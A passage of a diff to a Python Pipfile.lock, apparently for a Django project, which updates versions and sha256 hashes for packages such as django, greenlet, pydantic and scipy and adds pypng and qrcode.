"sha256:1bd8418a61fe3d588bb0079214d7fb71d44937da40742b787256fd53b26b6c80", + "sha256:a53c220c35134ce08211a1057fd0e5bf76dc5331627c6b241cacbc570a89faae" ], "index": "pypi", "markers": "python_version >= '3.7' and python_version < '4.0'", - "version": "==0.6.0" + "version": "==0.6.1" }, "ddt": { "hashes": [ @@ -411,12 +415,12 @@ }, "django": { "hashes": [ - "sha256:a5de4c484e7b7418e6d3e52a5b8794f0e6b9f9e4ce3c037018cf1c489fa87f3c", - "sha256:d31b06c58aa2cd73998ca5966bc3001243d3c4e77ee2d0c479bced124765fd99" + "sha256:83b6d66b06e484807d778263fdc7f9186d4dc1862fcfa6507830446ac6b060ba", + "sha256:c5e7b668025a6e06cad9ba6d4de1fd1a21212acebb51ea34abb400c6e4d33430" ], "index": "pypi", "markers": "python_version >= '3.6'", - "version": "==3.2.21" + "version": "==3.2.22" }, "django-add-default-value": { "hashes": [ @@ -541,20 +545,20 @@ }, "django-silk": { "hashes": [ - "sha256:2f1fcaaf21192011147537fe1ca72dc9f552f32d7043ebd82aeeda370f194469", - "sha256:50552f06d9306d06517fbeab9a2c74856355e06304f03ed16b6dd353f7c77e7a" + "sha256:8cbfbc647d182527726d8d52d3fcfa193f4d250f21406c3fb1062efa6fb95c63", + "sha256:b345d3973d1d382e09735eb525eaf3eebd3edee9a69d1003eb9b01badb2438db" ], "index": "pypi", - "markers": "python_version >= '3.7'", - "version": "==5.0.3" + "markers": "python_version >= '3.8'", + "version": "==5.0.4" }, "django-simple-captcha": { "hashes": [ - "sha256:567ad84fa64c86508c679b8425cc1410c44b3cd6467e54f8d31cf077d9366407", - "sha256:6e1fcc4f4005f7d69ee7a2e59a7e863b5d3918f36a85a4d811498984aecc48ce" + "sha256:20273009a7beb44297e9f6c7a6bd21ada3d2fa93c314d2f6bf5e394ceeb6a297", + "sha256:3359cb033c489eae6544a80ad92517db3d35b3b328b3b427393399c3d7f55275" ], "index": "pypi", - "version": "==0.5.18" + "version": "==0.5.20" }, "django-stubs": { "extras": [ @@ -764,73 +768,71 @@ }, "greenlet": { "hashes": [ - "sha256:03a8f4f3430c3b3ff8d10a2a86028c660355ab637cee9333d63d66b56f09d52a", - "sha256:0bf60faf0bc2468089bdc5edd10555bab6e85152191df713e2ab1fcc86382b5a", - "sha256:1087300cf9700bbf455b1b97e24db18f2f77b55302a68272c56209d5587c12d1", - "sha256:18a7f18b82b52ee85322d7a7874e676f34ab319b9f8cce5de06067384aa8ff43", - "sha256:18e98fb3de7dba1c0a852731c3070cf022d14f0d68b4c87a19cc1016f3bb8b33", - "sha256:1a819eef4b0e0b96bb0d98d797bef17dc1b4a10e8d7446be32d1da33e095dbb8", - "sha256:26fbfce90728d82bc9e6c38ea4d038cba20b7faf8a0ca53a9c07b67318d46088", - "sha256:2780572ec463d44c1d3ae850239508dbeb9fed38e294c68d19a24d925d9223ca", - "sha256:283737e0da3f08bd637b5ad058507e578dd462db259f7f6e4c5c365ba4ee9343", - "sha256:2d4686f195e32d36b4d7cf2d166857dbd0ee9f3d20ae349b6bf8afc8485b3645", - "sha256:2dd11f291565a81d71dab10b7033395b7a3a5456e637cf997a6f33ebdf06f8db", - "sha256:30bcf80dda7f15ac77ba5af2b961bdd9dbc77fd4ac6105cee85b0d0a5fcf74df", - "sha256:32e5b64b148966d9cccc2c8d35a671409e45f195864560829f395a54226408d3", - "sha256:36abbf031e1c0f79dd5d596bfaf8e921c41df2bdf54ee1eed921ce1f52999a86", - "sha256:3a06ad5312349fec0ab944664b01d26f8d1f05009566339ac6f63f56589bc1a2", - "sha256:3a51c9751078733d88e013587b108f1b7a1fb106d402fb390740f002b6f6551a", - "sha256:3c9b12575734155d0c09d6c3e10dbd81665d5c18e1a7c6597df72fd05990c8cf", - "sha256:3f6ea9bd35eb450837a3d80e77b517ea5bc56b4647f5502cd28de13675ee12f7", - "sha256:4b58adb399c4d61d912c4c331984d60eb66565175cdf4a34792cd9600f21b394", - "sha256:4d2e11331fc0c02b6e84b0d28ece3a36e0548ee1a1ce9ddde03752d9b79bba40", - "sha256:5454276c07d27a740c5892f4907c86327b632127dd9abec42ee62e12427ff7e3", - "sha256:561091a7be172ab497a3527602d467e2b3fbe75f9e783d8b8ce403fa414f71a6", - "sha256:6c3acb79b0bfd4fe733dff8bc62695283b57949ebcca05ae5c129eb606ff2d74", - "sha256:703f18f3fda276b9a916f0934d2fb6d989bf0b4fb5a64825260eb9bfd52d78f0", - "sha256:7492e2b7bd7c9b9916388d9df23fa49d9b88ac0640db0a5b4ecc2b653bf451e3", - "sha256:76ae285c8104046b3a7f06b42f29c7b73f77683df18c49ab5af7983994c2dd91", - "sha256:7cafd1208fdbe93b67c7086876f061f660cfddc44f404279c1585bbf3cdc64c5", - "sha256:7efde645ca1cc441d6dc4b48c0f7101e8d86b54c8530141b09fd31cef5149ec9", - "sha256:8512a0c38cfd4e66a858ddd1b17705587900dd760c6003998e9472b77b56d417", - "sha256:88d9ab96491d38a5ab7c56dd7a3cc37d83336ecc564e4e8816dbed12e5aaefc8", - "sha256:8eab883b3b2a38cc1e050819ef06a7e6344d4a990d24d45bc6f2cf959045a45b", - "sha256:910841381caba4f744a44bf81bfd573c94e10b3045ee00de0cbf436fe50673a6", - "sha256:9190f09060ea4debddd24665d6804b995a9c122ef5917ab26e1566dcc712ceeb", - "sha256:937e9020b514ceedb9c830c55d5c9872abc90f4b5862f89c0887033ae33c6f73", - "sha256:94c817e84245513926588caf1152e3b559ff794d505555211ca041f032abbb6b", - "sha256:971ce5e14dc5e73715755d0ca2975ac88cfdaefcaab078a284fea6cfabf866df", - "sha256:9d14b83fab60d5e8abe587d51c75b252bcc21683f24699ada8fb275d7712f5a9", - "sha256:9f35ec95538f50292f6d8f2c9c9f8a3c6540bbfec21c9e5b4b751e0a7c20864f", - "sha256:a1846f1b999e78e13837c93c778dcfc3365902cfb8d1bdb7dd73ead37059f0d0", - "sha256:acd2162a36d3de67ee896c43effcd5ee3de247eb00354db411feb025aa319857", - "sha256:b0ef99cdbe2b682b9ccbb964743a6aca37905fda5e0452e5ee239b1654d37f2a", - "sha256:b80f600eddddce72320dbbc8e3784d16bd3fb7b517e82476d8da921f27d4b249", - "sha256:b864ba53912b6c3ab6bcb2beb19f19edd01a6bfcbdfe1f37ddd1778abfe75a30", - "sha256:b9ec052b06a0524f0e35bd8790686a1da006bd911dd1ef7d50b77bfbad74e292", - "sha256:ba2956617f1c42598a308a84c6cf021a90ff3862eddafd20c3333d50f0edb45b", - "sha256:bdfea8c661e80d3c1c99ad7c3ff74e6e87184895bbaca6ee8cc61209f8b9b85d", - "sha256:be4ed120b52ae4d974aa40215fcdfde9194d63541c7ded40ee12eb4dda57b76b", - "sha256:c4302695ad8027363e96311df24ee28978162cdcdd2006476c43970b384a244c", - "sha256:c48f54ef8e05f04d6eff74b8233f6063cb1ed960243eacc474ee73a2ea8573ca", - "sha256:c9c59a2120b55788e800d82dfa99b9e156ff8f2227f07c5e3012a45a399620b7", - "sha256:cd021c754b162c0fb55ad5d6b9d960db667faad0fa2ff25bb6e1301b0b6e6a75", - "sha256:d27ec7509b9c18b6d73f2f5ede2622441de812e7b1a80bbd446cb0633bd3d5ae", - "sha256:d4606a527e30548153be1a9f155f4e283d109ffba663a15856089fb55f933e47", - "sha256:d5508f0b173e6aa47273bdc0a0b5ba055b59662ba7c7ee5119528f466585526b", - "sha256:d75209eed723105f9596807495d58d10b3470fa6732dd6756595e89925ce2470", - "sha256:d967650d3f56af314b72df7089d96cda1083a7fc2da05b375d2bc48c82ab3f3c", - "sha256:db1a39669102a1d8d12b57de2bb7e2ec9066a6f2b3da35ae511ff93b01b5d564", - "sha256:dbfcfc0218093a19c252ca8eb9aee3d29cfdcb586df21049b9d777fd32c14fd9", - "sha256:e0f72c9ddb8cd28532185f54cc1453f2c16fb417a08b53a855c4e6a418edd099", - "sha256:e7c8dc13af7db097bed64a051d2dd49e9f0af495c26995c00a9ee842690d34c0", - "sha256:ea9872c80c132f4663822dd2a08d404073a5a9b5ba6155bea72fb2a79d1093b5", - "sha256:eff4eb9b7eb3e4d0cae3d28c283dc16d9bed6b193c2e1ace3ed86ce48ea8df19", - "sha256:f82d4d717d8ef19188687aa32b8363e96062911e63ba22a0cff7802a8e58e5f1", - "sha256:fc3a569657468b6f3fb60587e48356fe512c1754ca05a564f11366ac9e306526" + "sha256:02a807b2a58d5cdebb07050efe3d7deaf915468d112dfcf5e426d0564aa3aa4a", + "sha256:0b72b802496cccbd9b31acea72b6f87e7771ccfd7f7927437d592e5c92ed703c", + "sha256:0d3f83ffb18dc57243e0151331e3c383b05e5b6c5029ac29f754745c800f8ed9", + "sha256:10b5582744abd9858947d163843d323d0b67be9432db50f8bf83031032bc218d", + "sha256:123910c58234a8d40eaab595bc56a5ae49bdd90122dde5bdc012c20595a94c14", + "sha256:1482fba7fbed96ea7842b5a7fc11d61727e8be75a077e603e8ab49d24e234383", + "sha256:19834e3f91f485442adc1ee440171ec5d9a4840a1f7bd5ed97833544719ce10b", + "sha256:1d363666acc21d2c204dd8705c0e0457d7b2ee7a76cb16ffc099d6799744ac99", + "sha256:211ef8d174601b80e01436f4e6905aca341b15a566f35a10dd8d1e93f5dbb3b7", + "sha256:269d06fa0f9624455ce08ae0179430eea61085e3cf6457f05982b37fd2cefe17", + "sha256:2e7dcdfad252f2ca83c685b0fa9fba00e4d8f243b73839229d56ee3d9d219314", + "sha256:334ef6ed8337bd0b58bb0ae4f7f2dcc84c9f116e474bb4ec250a8bb9bd797a66", + "sha256:343675e0da2f3c69d3fb1e894ba0a1acf58f481f3b9372ce1eb465ef93cf6fed", + "sha256:37f60b3a42d8b5499be910d1267b24355c495064f271cfe74bf28b17b099133c", + "sha256:38ad562a104cd41e9d4644f46ea37167b93190c6d5e4048fcc4b80d34ecb278f", + "sha256:3c0d36f5adc6e6100aedbc976d7428a9f7194ea79911aa4bf471f44ee13a9464", + "sha256:3fd2b18432e7298fcbec3d39e1a0aa91ae9ea1c93356ec089421fabc3651572b", + "sha256:4a1a6244ff96343e9994e37e5b4839f09a0207d35ef6134dce5c20d260d0302c", + "sha256:4cd83fb8d8e17633ad534d9ac93719ef8937568d730ef07ac3a98cb520fd93e4", + "sha256:527cd90ba3d8d7ae7dceb06fda619895768a46a1b4e423bdb24c1969823b8362", + "sha256:56867a3b3cf26dc8a0beecdb4459c59f4c47cdd5424618c08515f682e1d46692", + "sha256:621fcb346141ae08cb95424ebfc5b014361621b8132c48e538e34c3c93ac7365", + "sha256:63acdc34c9cde42a6534518e32ce55c30f932b473c62c235a466469a710bfbf9", + "sha256:6512592cc49b2c6d9b19fbaa0312124cd4c4c8a90d28473f86f92685cc5fef8e", + "sha256:6672fdde0fd1a60b44fb1751a7779c6db487e42b0cc65e7caa6aa686874e79fb", + "sha256:6a5b2d4cdaf1c71057ff823a19d850ed5c6c2d3686cb71f73ae4d6382aaa7a06", + "sha256:6a68d670c8f89ff65c82b936275369e532772eebc027c3be68c6b87ad05ca695", + "sha256:6bb36985f606a7c49916eff74ab99399cdfd09241c375d5a820bb855dfb4af9f", + "sha256:73b2f1922a39d5d59cc0e597987300df3396b148a9bd10b76a058a2f2772fc04", + "sha256:7709fd7bb02b31908dc8fd35bfd0a29fc24681d5cc9ac1d64ad07f8d2b7db62f", + "sha256:8060b32d8586e912a7b7dac2d15b28dbbd63a174ab32f5bc6d107a1c4143f40b", + "sha256:80dcd3c938cbcac986c5c92779db8e8ce51a89a849c135172c88ecbdc8c056b7", + "sha256:813720bd57e193391dfe26f4871186cf460848b83df7e23e6bef698a7624b4c9", + "sha256:831d6f35037cf18ca5e80a737a27d822d87cd922521d18ed3dbc8a6967be50ce", + "sha256:871b0a8835f9e9d461b7fdaa1b57e3492dd45398e87324c047469ce2fc9f516c", + "sha256:952256c2bc5b4ee8df8dfc54fc4de330970bf5d79253c863fb5e6761f00dda35", + "sha256:96d9ea57292f636ec851a9bb961a5cc0f9976900e16e5d5647f19aa36ba6366b", + "sha256:9a812224a5fb17a538207e8cf8e86f517df2080c8ee0f8c1ed2bdaccd18f38f4", + "sha256:9adbd8ecf097e34ada8efde9b6fec4dd2a903b1e98037adf72d12993a1c80b51", + "sha256:9de687479faec7db5b198cc365bc34addd256b0028956501f4d4d5e9ca2e240a", + "sha256:a048293392d4e058298710a54dfaefcefdf49d287cd33fb1f7d63d55426e4355", + "sha256:aa15a2ec737cb609ed48902b45c5e4ff6044feb5dcdfcf6fa8482379190330d7", + "sha256:abe1ef3d780de56defd0c77c5ba95e152f4e4c4e12d7e11dd8447d338b85a625", + "sha256:ad6fb737e46b8bd63156b8f59ba6cdef46fe2b7db0c5804388a2d0519b8ddb99", + "sha256:b1660a15a446206c8545edc292ab5c48b91ff732f91b3d3b30d9a915d5ec4779", + "sha256:b505fcfc26f4148551826a96f7317e02c400665fa0883fe505d4fcaab1dabfdd", + "sha256:b822fab253ac0f330ee807e7485769e3ac85d5eef827ca224feaaefa462dc0d0", + "sha256:bdd696947cd695924aecb3870660b7545a19851f93b9d327ef8236bfc49be705", + "sha256:bdfaeecf8cc705d35d8e6de324bf58427d7eafb55f67050d8f28053a3d57118c", + "sha256:be557119bf467d37a8099d91fbf11b2de5eb1fd5fc5b91598407574848dc910f", + "sha256:c6b5ce7f40f0e2f8b88c28e6691ca6806814157ff05e794cdd161be928550f4c", + "sha256:c94e4e924d09b5a3e37b853fe5924a95eac058cb6f6fb437ebb588b7eda79870", + "sha256:cc3e2679ea13b4de79bdc44b25a0c4fcd5e94e21b8f290791744ac42d34a0353", + "sha256:d1e22c22f7826096ad503e9bb681b05b8c1f5a8138469b255eb91f26a76634f2", + "sha256:d5539f6da3418c3dc002739cb2bb8d169056aa66e0c83f6bacae0cd3ac26b423", + "sha256:d55db1db455c59b46f794346efce896e754b8942817f46a1bada2d29446e305a", + "sha256:e09dea87cc91aea5500262993cbd484b41edf8af74f976719dd83fe724644cd6", + "sha256:e52a712c38e5fb4fd68e00dc3caf00b60cb65634d50e32281a9d6431b33b4af1", + "sha256:e693e759e172fa1c2c90d35dea4acbdd1d609b6936115d3739148d5e4cd11947", + "sha256:ecf94aa539e97a8411b5ea52fc6ccd8371be9550c4041011a091eb8b3ca1d810", + "sha256:f351479a6914fd81a55c8e68963609f792d9b067fb8a60a042c585a621e0de4f", + "sha256:f47932c434a3c8d3c86d865443fadc1fbf574e9b11d6650b656e602b1797908a" ], "markers": "platform_python_implementation == 'CPython'", - "version": "==2.0.2" + "version": "==3.0.0" }, "gunicorn": { "hashes": [ @@ -1601,45 +1603,45 @@ }, "pydantic": { "hashes": [ - "sha256:0fe8a415cea8f340e7a9af9c54fc71a649b43e8ca3cc732986116b3cb135d303", - "sha256:1289c180abd4bd4555bb927c42ee42abc3aee02b0fb2d1223fb7c6e5bef87dbe", - "sha256:1eb2085c13bce1612da8537b2d90f549c8cbb05c67e8f22854e201bde5d98a47", - "sha256:2031de0967c279df0d8a1c72b4ffc411ecd06bac607a212892757db7462fc494", - "sha256:2a7bac939fa326db1ab741c9d7f44c565a1d1e80908b3797f7f81a4f86bc8d33", - "sha256:2d5a58feb9a39f481eda4d5ca220aa8b9d4f21a41274760b9bc66bfd72595b86", - "sha256:2f9a6fab5f82ada41d56b0602606a5506aab165ca54e52bc4545028382ef1c5d", - "sha256:2fcfb5296d7877af406ba1547dfde9943b1256d8928732267e2653c26938cd9c", - "sha256:549a8e3d81df0a85226963611950b12d2d334f214436a19537b2efed61b7639a", - "sha256:598da88dfa127b666852bef6d0d796573a8cf5009ffd62104094a4fe39599565", - "sha256:5d1197e462e0364906cbc19681605cb7c036f2475c899b6f296104ad42b9f5fb", - "sha256:69328e15cfda2c392da4e713443c7dbffa1505bc9d566e71e55abe14c97ddc62", - "sha256:6a9dfa722316f4acf4460afdf5d41d5246a80e249c7ff475c43a3a1e9d75cf62", - "sha256:6b30bcb8cbfccfcf02acb8f1a261143fab622831d9c0989707e0e659f77a18e0", - "sha256:6c076be61cd0177a8433c0adcb03475baf4ee91edf5a4e550161ad57fc90f523", - "sha256:771735dc43cf8383959dc9b90aa281f0b6092321ca98677c5fb6125a6f56d58d", - "sha256:795e34e6cc065f8f498c89b894a3c6da294a936ee71e644e4bd44de048af1405", - "sha256:87afda5539d5140cb8ba9e8b8c8865cb5b1463924d38490d73d3ccfd80896b3f", - "sha256:8fb2aa3ab3728d950bcc885a2e9eff6c8fc40bc0b7bb434e555c215491bcf48b", - "sha256:a1fcb59f2f355ec350073af41d927bf83a63b50e640f4dbaa01053a28b7a7718", - "sha256:a5e7add47a5b5a40c49b3036d464e3c7802f8ae0d1e66035ea16aa5b7a3923ed", - "sha256:a73f489aebd0c2121ed974054cb2759af8a9f747de120acd2c3394cf84176ccb", - "sha256:ab26038b8375581dc832a63c948f261ae0aa21f1d34c1293469f135fa92972a5", - "sha256:b0d191db0f92dfcb1dec210ca244fdae5cbe918c6050b342d619c09d31eea0cc", - "sha256:b749a43aa51e32839c9d71dc67eb1e4221bb04af1033a32e3923d46f9effa942", - "sha256:b7ccf02d7eb340b216ec33e53a3a629856afe1c6e0ef91d84a4e6f2fb2ca70fe", - "sha256:ba5b2e6fe6ca2b7e013398bc7d7b170e21cce322d266ffcd57cca313e54fb246", - "sha256:ba5c4a8552bff16c61882db58544116d021d0b31ee7c66958d14cf386a5b5350", - "sha256:c79e6a11a07da7374f46970410b41d5e266f7f38f6a17a9c4823db80dadf4303", - "sha256:ca48477862372ac3770969b9d75f1bf66131d386dba79506c46d75e6b48c1e09", - "sha256:dea7adcc33d5d105896401a1f37d56b47d443a2b2605ff8a969a0ed5543f7e33", - "sha256:e0a16d274b588767602b7646fa05af2782576a6cf1022f4ba74cbb4db66f6ca8", - "sha256:e4129b528c6baa99a429f97ce733fff478ec955513630e61b49804b6cf9b224a", - "sha256:e5f805d2d5d0a41633651a73fa4ecdd0b3d7a49de4ec3fadf062fe16501ddbf1", - "sha256:ef6c96b2baa2100ec91a4b428f80d8f28a3c9e53568219b6c298c1125572ebc6", - "sha256:fdbdd1d630195689f325c9ef1a12900524dceb503b00a987663ff4f58669b93d" + "sha256:1740068fd8e2ef6eb27a20e5651df000978edce6da6803c2bef0bc74540f9548", + "sha256:210ce042e8f6f7c01168b2d84d4c9eb2b009fe7bf572c2266e235edf14bacd80", + "sha256:32c8b48dcd3b2ac4e78b0ba4af3a2c2eb6048cb75202f0ea7b34feb740efc340", + "sha256:3ecea2b9d80e5333303eeb77e180b90e95eea8f765d08c3d278cd56b00345d01", + "sha256:4b03e42ec20286f052490423682016fd80fda830d8e4119f8ab13ec7464c0132", + "sha256:4c5370a7edaac06daee3af1c8b1192e305bc102abcbf2a92374b5bc793818599", + "sha256:56e3ff861c3b9c6857579de282ce8baabf443f42ffba355bf070770ed63e11e1", + "sha256:5a1f9f747851338933942db7af7b6ee8268568ef2ed86c4185c6ef4402e80ba8", + "sha256:5e08865bc6464df8c7d61439ef4439829e3ab62ab1669cddea8dd00cd74b9ffe", + "sha256:61d9dce220447fb74f45e73d7ff3b530e25db30192ad8d425166d43c5deb6df0", + "sha256:654db58ae399fe6434e55325a2c3e959836bd17a6f6a0b6ca8107ea0571d2e17", + "sha256:678bcf5591b63cc917100dc50ab6caebe597ac67e8c9ccb75e698f66038ea953", + "sha256:6cf25c1a65c27923a17b3da28a0bdb99f62ee04230c931d83e888012851f4e7f", + "sha256:75ac15385a3534d887a99c713aa3da88a30fbd6204a5cd0dc4dab3d770b9bd2f", + "sha256:75b297827b59bc229cac1a23a2f7a4ac0031068e5be0ce385be1462e7e17a35d", + "sha256:7d6f6e7305244bddb4414ba7094ce910560c907bdfa3501e9db1a7fd7eaea127", + "sha256:84bafe2e60b5e78bc64a2941b4c071a4b7404c5c907f5f5a99b0139781e69ed8", + "sha256:854223752ba81e3abf663d685f105c64150873cc6f5d0c01d3e3220bcff7d36f", + "sha256:8ae5dd6b721459bfa30805f4c25880e0dd78fc5b5879f9f7a692196ddcb5a580", + "sha256:8ef467901d7a41fa0ca6db9ae3ec0021e3f657ce2c208e98cd511f3161c762c6", + "sha256:968ac42970f57b8344ee08837b62f6ee6f53c33f603547a55571c954a4225691", + "sha256:97cce3ae7341f7620a0ba5ef6cf043975cd9d2b81f3aa5f4ea37928269bc1b87", + "sha256:9849f031cf8a2f0a928fe885e5a04b08006d6d41876b8bbd2fc68a18f9f2e3fd", + "sha256:9f00790179497767aae6bcdc36355792c79e7bbb20b145ff449700eb076c5f96", + "sha256:b87326822e71bd5f313e7d3bfdc77ac3247035ac10b0c0618bd99dcf95b1e687", + "sha256:b97c1fac8c49be29486df85968682b0afa77e1b809aff74b83081cc115e52f33", + "sha256:bc0898c12f8e9c97f6cd44c0ed70d55749eaf783716896960b4ecce2edfd2d69", + "sha256:c553f6a156deb868ba38a23cf0df886c63492e9257f60a79c0fd8e7173537653", + "sha256:c636925f38b8db208e09d344c7aa4f29a86bb9947495dd6b6d376ad10334fb78", + "sha256:c958d053453a1c4b1c2062b05cd42d9d5c8eb67537b8d5a7e3c3032943ecd261", + "sha256:d3a3c792a58e1622667a2837512099eac62490cdfd63bd407993aaf200a4cf1f", + "sha256:e31647d85a2013d926ce60b84f9dd5300d44535a9941fe825dc349ae1f760df9", + "sha256:e70ca129d2053fb8b728ee7d1af8e553a928d7e301a311094b8a0501adc8763d", + "sha256:efff03cc7a4f29d9009d1c96ceb1e7a70a65cfe86e89d34e4a5f2ab1e5693737", + "sha256:f59ef915cac80275245824e9d771ee939133be38215555e9dc90c6cb148aaeb5", + "sha256:f8e81fc5fb17dae698f52bdd1c4f18b6ca674d7068242b2aff075f588301bbb0" ], "markers": "python_version >= '3.7'", - "version": "==1.10.12" + "version": "==1.10.13" }, "pydot": { "hashes": [ @@ -1676,6 +1678,13 @@ "markers": "python_full_version >= '3.6.8'", "version": "==3.1.1" }, + "pypng": { + "hashes": [ + "sha256:4a43e969b8f5aaafb2a415536c1a8ec7e341cd6a3f957fd5b5f32a4cfeed902c", + "sha256:739c433ba96f078315de54c0db975aee537cbc3e1d0ae4ed9aab0ca1e427e2c1" + ], + "version": "==0.20220715.0" + }, "pyre2": { "hashes": [ "sha256:18cd5d76973ee57232a5d851489c202105e4752aee6dcbd38742c0475f3f1c4e", @@ -1824,6 +1833,15 @@ "markers": "python_version >= '3.6'", "version": "==6.0.1" }, + "qrcode": { + "hashes": [ + "sha256:581dca7a029bcb2deef5d01068e39093e80ef00b4a61098a2182eac59d01643a", + "sha256:9dd969454827e127dbd93696b20747239e6d540e082937c90f14ac95b30f5845" + ], + "index": "pypi", + "markers": "python_version >= '3.7'", + "version": "==7.4.2" + }, "redis": { "hashes": [ "sha256:68226f7ede928db8302f29ab088a157f41061fa946b7ae865452b6d7838bbffb", @@ -1861,34 +1879,34 @@ }, "scipy": { "hashes": [ - "sha256:0f3261f14b767b316d7137c66cc4f33a80ea05841b9c87ad83a726205b901423", - "sha256:10eb6af2f751aa3424762948e5352f707b0dece77288206f227864ddf675aca0", - "sha256:1342ca385c673208f32472830c10110a9dcd053cf0c4b7d4cd7026d0335a6c1d", - "sha256:214cdf04bbae7a54784f8431f976704ed607c4bc69ba0d5d5d6a9df84374df76", - "sha256:2b997a5369e2d30c97995dcb29d638701f8000d04df01b8e947f206e5d0ac788", - "sha256:2c91cf049ffb5575917f2a01da1da082fd24ed48120d08a6e7297dfcac771dcd", - "sha256:3aeb87661de987f8ec56fa6950863994cd427209158255a389fc5aea51fa7055", - "sha256:4447ad057d7597476f9862ecbd9285bbf13ba9d73ce25acfa4e4b11c6801b4c9", - "sha256:542a757e2a6ec409e71df3d8fd20127afbbacb1c07990cb23c5870c13953d899", - "sha256:8d9886f44ef8c9e776cb7527fb01455bf4f4a46c455c4682edc2c2cc8cd78562", - "sha256:90d3b1364e751d8214e325c371f0ee0dd38419268bf4888b2ae1040a6b266b2a", - "sha256:95763fbda1206bec41157582bea482f50eb3702c85fffcf6d24394b071c0e87a", - "sha256:ac74b1512d38718fb6a491c439aa7b3605b96b1ed3be6599c17d49d6c60fca18", - "sha256:afdb0d983f6135d50770dd979df50bf1c7f58b5b33e0eb8cf5c73c70600eae1d", - "sha256:b0620240ef445b5ddde52460e6bc3483b7c9c750275369379e5f609a1050911c", - "sha256:b133f237bd8ba73bad51bc12eb4f2d84cbec999753bf25ba58235e9fc2096d80", - "sha256:b29318a5e39bd200ca4381d80b065cdf3076c7d7281c5e36569e99273867f61d", - "sha256:b8425fa963a32936c9773ee3ce44a765d8ff67eed5f4ac81dc1e4a819a238ee9", - "sha256:d2b813bfbe8dec6a75164523de650bad41f4405d35b0fa24c2c28ae07fcefb20", - "sha256:d690e1ca993c8f7ede6d22e5637541217fc6a4d3f78b3672a6fe454dbb7eb9a7", - "sha256:e367904a0fec76433bf3fbf3e85bf60dae8e9e585ffd21898ab1085a29a04d16", - "sha256:ea932570b1c2a30edafca922345854ff2cd20d43cd9123b6dacfdecebfc1a80b", - "sha256:f28f1f6cfeb48339c192efc6275749b2a25a7e49c4d8369a28b6591da02fbc9a", - "sha256:f73102f769ee06041a3aa26b5841359b1a93cc364ce45609657751795e8f4a4a", - "sha256:fa4909c6c20c3d91480533cddbc0e7c6d849e7d9ded692918c76ce5964997898" + "sha256:00f325434b6424952fbb636506f0567898dca7b0f7654d48f1c382ea338ce9a3", + "sha256:033c3fd95d55012dd1148b201b72ae854d5086d25e7c316ec9850de4fe776929", + "sha256:0d3a136ae1ff0883fffbb1b05b0b2fea251cb1046a5077d0b435a1839b3e52b7", + "sha256:15f237e890c24aef6891c7d008f9ff7e758c6ef39a2b5df264650eb7900403c0", + "sha256:370f569c57e1d888304052c18e58f4a927338eafdaef78613c685ca2ea0d1fa0", + "sha256:3e1a8a4657673bfae1e05e1e1d6e94b0cabe5ed0c7c144c8aa7b7dbb774ce5c1", + "sha256:4b4bb134c7aa457e26cc6ea482b016fef45db71417d55cc6d8f43d799cdf9ef2", + "sha256:5305792c7110e32ff155aed0df46aa60a60fc6e52cd4ee02cdeb67eaccd5356e", + "sha256:5664e364f90be8219283eeb844323ff8cd79d7acbd64e15eb9c46b9bc7f6a42a", + "sha256:5f290cf561a4b4edfe8d1001ee4be6da60c1c4ea712985b58bf6bc62badee221", + "sha256:74e89dc5e00201e71dd94f5f382ab1c6a9f3ff806c7d24e4e90928bb1aafb280", + "sha256:7abda0e62ef00cde826d441485e2e32fe737bdddee3324e35c0e01dee65e2a88", + "sha256:90271dbde4be191522b3903fc97334e3956d7cfb9cce3f0718d0ab4fd7d8bfd6", + "sha256:91770cb3b1e81ae19463b3c235bf1e0e330767dca9eb4cd73ba3ded6c4151e4d", + "sha256:925c6f09d0053b1c0f90b2d92d03b261e889b20d1c9b08a3a51f61afc5f58165", + "sha256:9885e3e4f13b2bd44aaf2a1a6390a11add9f48d5295f7a592393ceb8991577a3", + "sha256:9ea7f579182d83d00fed0e5c11a4aa5ffe01460444219dedc448a36adf0c3917", + "sha256:a63d1ec9cadecce838467ce0631c17c15c7197ae61e49429434ba01d618caa83", + "sha256:bae66a2d7d5768eaa33008fa5a974389f167183c87bf39160d3fefe6664f8ddc", + "sha256:bba4d955f54edd61899776bad459bf7326e14b9fa1c552181f0479cc60a568cd", + "sha256:c77da50c9a91e23beb63c2a711ef9e9ca9a2060442757dffee34ea41847d8156", + "sha256:d2f6dee6cbb0e263b8142ed587bc93e3ed5e777f1f75448d24fb923d9fd4dce6", + "sha256:dfcc1552add7cb7c13fb70efcb2389d0624d571aaf2c80b04117e2755a0c5d15", + "sha256:e04aa19acc324a1a076abb4035dabe9b64badb19f76ad9c798bde39d41025cdc", + "sha256:e1f97cd89c0fe1a0685f8f89d85fa305deb3067d0668151571ba50913e445820" ], "markers": "python_version < '3.13' and python_version >= '3.9'", - "version": "==1.11.2" + "version": "==1.11.3" }, "setuptools": { "hashes": [ @@ -1978,11 +1996,11 @@ }, "types-awscrt": { "hashes": [ - "sha256:61833aa140e724a9098025610f4b8cde3dcf65b842631d7447378f9f5db4e1fd", - "sha256:68fffeb75396e9e7614cd930b2d52295f680230774750907bcafb56f11514043" + "sha256:477a14565909312fe1de70d0b301548e83c038f436b8a1d7c83729e87cdd0b85", + "sha256:d8c379420ba75b1e43687d12b0b772a5bb17f352859a2bef6aa8f0abde123f55" ], "markers": "python_version >= '3.7' and python_version < '4.0'", - "version": "==0.19.1" + "version": "==0.19.2" }, "types-pymysql": { "hashes": [ @@ -2016,35 +2034,36 @@ }, "types-pyyaml": { "hashes": [ - "sha256:7d340b19ca28cddfdba438ee638cd4084bde213e501a3978738543e27094775b", - "sha256:a461508f3096d1d5810ec5ab95d7eeecb651f3a15b71959999988942063bf01d" + "sha256:334373d392fde0fdf95af5c3f1661885fa10c52167b14593eb856289e1855062", + "sha256:c05bc6c158facb0676674b7f11fe3960db4f389718e19e62bd2b84d6205cfd24" ], "index": "pypi", - "version": "==6.0.12.11" + "version": "==6.0.12.12" }, "types-redis": { "hashes": [ - "sha256:7865a843802937ab2ddca33579c4e255bfe73f87af85824ead7a6729ba92fc52", - "sha256:e0e9dcc530623db3a41ec058ccefdcd5c7582557f02ab5f7aa9a27fe10a78d7e" + "sha256:05b1bf92879b25df20433fa1af07784a0d7928c616dc2ebf9087618db77ccbd0", + "sha256:28c4153ddb5c9d4f10def44a2454673c361d2d5fc3cd867cf3bb1520f3f59a38" ], "index": "pypi", - "version": "==4.6.0.6" + "version": "==4.6.0.7" }, "types-requests": { "hashes": [ - "sha256:938f51653c757716aeca5d72c405c5e2befad8b0d330e3b385ce7f148e1b10dc", - "sha256:d5d7a08965fca12bedf716eaf5430c6e3d0da9f3164a1dba2a7f3885f9ebe3c0" + 